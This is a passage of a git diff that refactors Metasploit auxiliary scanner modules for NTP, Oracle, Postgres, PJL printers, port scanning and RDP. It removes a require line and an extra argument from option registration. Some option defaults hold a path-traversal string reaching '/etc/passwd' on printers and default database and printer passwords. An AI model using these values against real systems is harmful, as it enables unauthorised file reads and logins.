--git a/modules/auxiliary/scanner/ntp/ntp_readvar.rb b/modules/auxiliary/scanner/ntp/ntp_readvar.rb index 1da9bb99e7..79da60051c 100644 --- a/modules/auxiliary/scanner/ntp/ntp_readvar.rb +++ b/modules/auxiliary/scanner/ntp/ntp_readvar.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb index 1e32c29acd..6b3ac8eb6d 100644 --- a/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_req_nonce_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb index f83e1350f8..ac5c08ae60 100644 --- a/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_reslist_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb index 3e94f7c34e..3176bd8e2b 100644 --- a/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb +++ b/modules/auxiliary/scanner/ntp/ntp_unsettrap_dos.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report diff --git a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb index d4cc0f4256..d0017f5b2b 100644 --- a/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_gsad_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -30,13 +28,13 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('URI', [true, "URI for OpenVAS omp login. Default is /omp", "/omp"]), OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]), - ], self.class) + ]) register_advanced_options( [ OptString.new('OMP_text', [true, "value for OpenVAS omp text login hidden field", "/omp?cmd=get_tasks&overrides=1"]), OptString.new('OMP_cmd', [true, "value for OpenVAS omp cmd login hidden field", "login"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb index 15c51b99d2..de09b68f64 100644 --- a/modules/auxiliary/scanner/openvas/openvas_omp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_omp_login.rb @@ -2,8 +2,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -22,13 +20,13 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(9390), OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]) - ], self.class) + ]) register_advanced_options( [ OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]), OptString.new('SSLVersion', [ true, " Specify the version of SSL that should be used", "TLS1"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb index e215288450..b855bec8ee 100644 --- a/modules/auxiliary/scanner/openvas/openvas_otp_login.rb +++ b/modules/auxiliary/scanner/openvas/openvas_otp_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -23,13 +21,13 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(9391), OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false]) - ], self.class) + ]) register_advanced_options( [ OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]), OptString.new('SSLVersion', [ true, " Specify the version of SSL that should be used", "TLS1"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/oracle/emc_sid.rb b/modules/auxiliary/scanner/oracle/emc_sid.rb index 87737d307d..e810fcd5e3 100644 --- a/modules/auxiliary/scanner/oracle/emc_sid.rb +++ b/modules/auxiliary/scanner/oracle/emc_sid.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary 'License' => MSF_LICENSE ) - register_options([Opt::RPORT(1158),], self.class) + register_options([Opt::RPORT(1158),]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/oracle/isqlplus_login.rb b/modules/auxiliary/scanner/oracle/isqlplus_login.rb index d96b46579d..d1ca8a55ec 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_login.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]), OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]), - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb index 9c936d3938..c45d904f80 100644 --- a/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb +++ b/modules/auxiliary/scanner/oracle/isqlplus_sidbrute.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('SID', [ false, 'A single SID to test']), OptPath.new('SIDFILE', [ false, 'A file containing a list of SIDs', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]), OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 30]) - ], self.class) + ]) deregister_options( "RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE", diff --git a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb index 3735239b95..6eb1168fdd 100644 --- a/modules/auxiliary/scanner/oracle/oracle_hashdump.rb +++ b/modules/auxiliary/scanner/oracle/oracle_hashdump.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::ORACLE diff --git a/modules/auxiliary/scanner/oracle/oracle_login.rb b/modules/auxiliary/scanner/oracle/oracle_login.rb index 19935590ea..c39f800de9 100644 --- a/modules/auxiliary/scanner/oracle/oracle_login.rb +++ b/modules/auxiliary/scanner/oracle/oracle_login.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line", File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt") ]), OptString.new('SID', [ true, 'The instance (SID) to authenticate against', 'XE']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/oracle/sid_brute.rb b/modules/auxiliary/scanner/oracle/sid_brute.rb index a670e1eb02..a2a8d3630f 100644 --- a/modules/auxiliary/scanner/oracle/sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/sid_brute.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TNS @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new('SID_FILE', [ false, "File containing instance names, one per line", File.join(Msf::Config.data_directory, "wordlists", "sid.txt") ]), OptString.new('SID', [ false, 'A specific SID to attempt.' ]), Opt::RPORT(1521) - ], self.class) + ]) deregister_options( "RHOST", "USERNAME", "PASSWORD", "USER_FILE", "PASS_FILE", "USERPASS_FILE", diff --git a/modules/auxiliary/scanner/oracle/sid_enum.rb b/modules/auxiliary/scanner/oracle/sid_enum.rb index d953f819a9..dfd186f404 100644 --- a/modules/auxiliary/scanner/oracle/sid_enum.rb +++ b/modules/auxiliary/scanner/oracle/sid_enum.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TNS @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1521) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/oracle/spy_sid.rb b/modules/auxiliary/scanner/oracle/spy_sid.rb index 389baf3385..dbe6e3c745 100644 --- a/modules/auxiliary/scanner/oracle/spy_sid.rb +++ b/modules/auxiliary/scanner/oracle/spy_sid.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1158) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb index 4450a690bb..4cfbff254e 100644 --- a/modules/auxiliary/scanner/oracle/tnslsnr_version.rb +++ b/modules/auxiliary/scanner/oracle/tnslsnr_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1521) - ], self.class) + ]) deregister_options('RHOST') end diff --git a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb index 6ef85885fc..956a9893ec 100644 --- a/modules/auxiliary/scanner/oracle/tnspoison_checker.rb +++ b/modules/auxiliary/scanner/oracle/tnspoison_checker.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(1521) - ], self.class) + ]) deregister_options('RHOST') # Provided by the TNS mixin, but not needed in a scanner module end diff --git a/modules/auxiliary/scanner/oracle/xdb_sid.rb b/modules/auxiliary/scanner/oracle/xdb_sid.rb index fae6c4f40c..69edb88d5a 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8080), OptString.new('DBUSER', [ false, 'The db user to authenticate with.', 'scott']), OptString.new('DBPASS', [ false, 'The db pass to authenticate with.', 'tiger']), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb index 4e7ff072d0..932a1d38c5 100644 --- a/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb +++ b/modules/auxiliary/scanner/oracle/xdb_sid_brute.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]), Opt::RPORT(8080), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb index 348bf2354c..4b2181f0cc 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_tcp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(5631) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb index e70063ed56..51292a1af2 100644 --- a/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb +++ b/modules/auxiliary/scanner/pcanywhere/pcanywhere_udp.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(5632) - ], self.class) + ]) end def scanner_prescan(batch) diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index b869bea541..8198912abe 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/login_scanner/pop3' require 'metasploit/framework/credential_collection' @@ -44,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary 'The file that contains a list of probable passwords.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt') ]) - ], self.class) + ]) end def target diff --git a/modules/auxiliary/scanner/pop3/pop3_version.rb b/modules/auxiliary/scanner/pop3/pop3_version.rb index f2d1d45f4f..00d054b1c8 100644 --- a/modules/auxiliary/scanner/pop3/pop3_version.rb +++ b/modules/auxiliary/scanner/pop3/pop3_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -20,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary ) register_options([ Opt::RPORT(110) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/portmap/portmap_amp.rb b/modules/auxiliary/scanner/portmap/portmap_amp.rb index b3e4fd2d44..53ecf1472c 100644 --- a/modules/auxiliary/scanner/portmap/portmap_amp.rb +++ b/modules/auxiliary/scanner/portmap/portmap_amp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(111), - ], self.class) + ]) end def rport diff --git a/modules/auxiliary/scanner/portscan/ack.rb b/modules/auxiliary/scanner/portscan/ack.rb index 35aa526103..2817626ca9 100644 --- a/modules/auxiliary/scanner/portscan/ack.rb +++ b/modules/auxiliary/scanner/portscan/ack.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) - ], self.class) + ]) deregister_options('FILTER','PCAPFILE') end diff --git a/modules/auxiliary/scanner/portscan/ftpbounce.rb b/modules/auxiliary/scanner/portscan/ftpbounce.rb index 399a6e1708..b6412714db 100644 --- a/modules/auxiliary/scanner/portscan/ftpbounce.rb +++ b/modules/auxiliary/scanner/portscan/ftpbounce.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Order is important here diff --git a/modules/auxiliary/scanner/portscan/syn.rb b/modules/auxiliary/scanner/portscan/syn.rb index d91ed8bb14..435e9c1bb2 100644 --- a/modules/auxiliary/scanner/portscan/syn.rb +++ b/modules/auxiliary/scanner/portscan/syn.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture @@ -28,7 +26,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) - ], self.class) + ]) deregister_options('FILTER','PCAPFILE') end diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index ab240e4f75..a5ae324d5f 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]), OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), - ], self.class) + ]) deregister_options('RPORT') diff --git a/modules/auxiliary/scanner/portscan/xmas.rb b/modules/auxiliary/scanner/portscan/xmas.rb index 6c079a3174..e99ea02545 100644 --- a/modules/auxiliary/scanner/portscan/xmas.rb +++ b/modules/auxiliary/scanner/portscan/xmas.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]), OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]), OptString.new('INTERFACE', [false, 'The name of the interface']) - ], self.class) + ]) deregister_options('FILTER','PCAPFILE') end diff --git a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb index 12c8177688..df54f6dec0 100644 --- a/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb +++ b/modules/auxiliary/scanner/postgres/postgres_dbname_flag_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary ] )) - register_options([ Opt::RPORT(5432) ], self.class) + register_options([ Opt::RPORT(5432) ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb index 2ddb14f259..f3922df302 100644 --- a/modules/auxiliary/scanner/postgres/postgres_hashdump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_hashdump.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/postgres/postgres_login.rb b/modules/auxiliary/scanner/postgres/postgres_login.rb index 5c5bf308d3..a7aed8dcf6 100644 --- a/modules/auxiliary/scanner/postgres/postgres_login.rb +++ b/modules/auxiliary/scanner/postgres/postgres_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/postgres' @@ -43,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary File.join(Msf::Config.data_directory, "wordlists", "postgres_default_user.txt") ]), OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.data_directory, "wordlists", "postgres_default_pass.txt") ]), - ], self.class) + ]) deregister_options('SQL') diff --git a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb index 59915acedc..710880fba8 100644 --- a/modules/auxiliary/scanner/postgres/postgres_schemadump.rb +++ b/modules/auxiliary/scanner/postgres/postgres_schemadump.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/scanner/postgres/postgres_version.rb b/modules/auxiliary/scanner/postgres/postgres_version.rb index d8e6036db0..92ac561ab0 100644 --- a/modules/auxiliary/scanner/postgres/postgres_version.rb +++ b/modules/auxiliary/scanner/postgres/postgres_version.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -27,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary ] )) - register_options([ ], self.class) # None needed. + register_options([ ]) # None needed. deregister_options('SQL', 'RETURN_ROWSET') end diff --git a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb index 0e932348c2..1ed1ec6925 100644 --- a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb +++ b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']), OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/printer/printer_delete_file.rb b/modules/auxiliary/scanner/printer/printer_delete_file.rb index 6dc859651d..da51a5ec05 100644 --- a/modules/auxiliary/scanner/printer/printer_delete_file.rb +++ b/modules/auxiliary/scanner/printer/printer_delete_file.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" require "rex/proto/pjl" class MetasploitModule < Msf::Auxiliary @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), OptString.new("PATH", [true, "Remote path", '0:\..\..\..\eicar.com']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/printer/printer_download_file.rb b/modules/auxiliary/scanner/printer/printer_download_file.rb index 4e4f2293e7..893d799609 100644 --- a/modules/auxiliary/scanner/printer/printer_download_file.rb +++ b/modules/auxiliary/scanner/printer/printer_download_file.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" require "rex/proto/pjl" class MetasploitModule < Msf::Auxiliary @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), OptString.new("PATH", [true, "Remote path", '0:\..\..\..\etc\passwd']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/printer/printer_env_vars.rb b/modules/auxiliary/scanner/printer/printer_env_vars.rb index 884764477b..b7bdec6973 100644 --- a/modules/auxiliary/scanner/printer/printer_env_vars.rb +++ b/modules/auxiliary/scanner/printer/printer_env_vars.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" require "rex/proto/pjl" class MetasploitModule < Msf::Auxiliary @@ -34,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/printer/printer_list_dir.rb b/modules/auxiliary/scanner/printer/printer_list_dir.rb index 068705657a..281b3bb223 100644 --- a/modules/auxiliary/scanner/printer/printer_list_dir.rb +++ b/modules/auxiliary/scanner/printer/printer_list_dir.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" require "rex/proto/pjl" class MetasploitModule < Msf::Auxiliary @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), OptString.new("PATH", [true, "Remote path", '0:\..\..\..']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/printer/printer_list_volumes.rb b/modules/auxiliary/scanner/printer/printer_list_volumes.rb index 4d6e01235e..1b006e748d 100644 --- a/modules/auxiliary/scanner/printer/printer_list_volumes.rb +++ b/modules/auxiliary/scanner/printer/printer_list_volumes.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" require "rex/proto/pjl" class MetasploitModule < Msf::Auxiliary @@ -34,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/printer/printer_ready_message.rb b/modules/auxiliary/scanner/printer/printer_ready_message.rb index 10445e7ffd..1d45cf2946 100644 --- a/modules/auxiliary/scanner/printer/printer_ready_message.rb +++ b/modules/auxiliary/scanner/printer/printer_ready_message.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" require "rex/proto/pjl" class MetasploitModule < Msf::Auxiliary @@ -41,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT), OptString.new("MESSAGE", [false, "Ready message", "PC LOAD LETTER"]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/printer/printer_upload_file.rb b/modules/auxiliary/scanner/printer/printer_upload_file.rb index 3971e8b1cf..9f0634e9da 100644 --- a/modules/auxiliary/scanner/printer/printer_upload_file.rb +++ b/modules/auxiliary/scanner/printer/printer_upload_file.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" require "rex/proto/pjl" class MetasploitModule < Msf::Auxiliary @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary OptPath.new("LPATH", [true, "Local path", File.join(Msf::Config.data_directory, "eicar.com")]), OptString.new("RPATH", [true, "Remote path", '0:\..\..\..\eicar.com']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/printer/printer_version_info.rb b/modules/auxiliary/scanner/printer/printer_version_info.rb index d23312a60e..3826794214 100644 --- a/modules/auxiliary/scanner/printer/printer_version_info.rb +++ b/modules/auxiliary/scanner/printer/printer_version_info.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require "msf/core" require "rex/proto/pjl" class MetasploitModule < Msf::Auxiliary @@ -34,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/quake/server_info.rb b/modules/auxiliary/scanner/quake/server_info.rb index f0a4e2b0e4..e70519e39f 100644 --- a/modules/auxiliary/scanner/quake/server_info.rb +++ b/modules/auxiliary/scanner/quake/server_info.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/quake' class MetasploitModule < Msf::Auxiliary @@ -37,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(27960) - ], self.class) + ]) end def build_probe diff --git a/modules/auxiliary/scanner/rdp/ms12_020_check.rb b/modules/auxiliary/scanner/rdp/ms12_020_check.rb index 18edd5f1e8..d8c4510f1a 100644 --- a/modules/auxiliary/scanner/rdp/ms12_020_check.rb +++ b/modules/auxiliary/scanner/rdp/ms12_020_check.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptPort.new('RPORT', [ true, 'Remote port running RDP', 3389 ]) - ], self.class) + ]) end def check_rdp diff --git 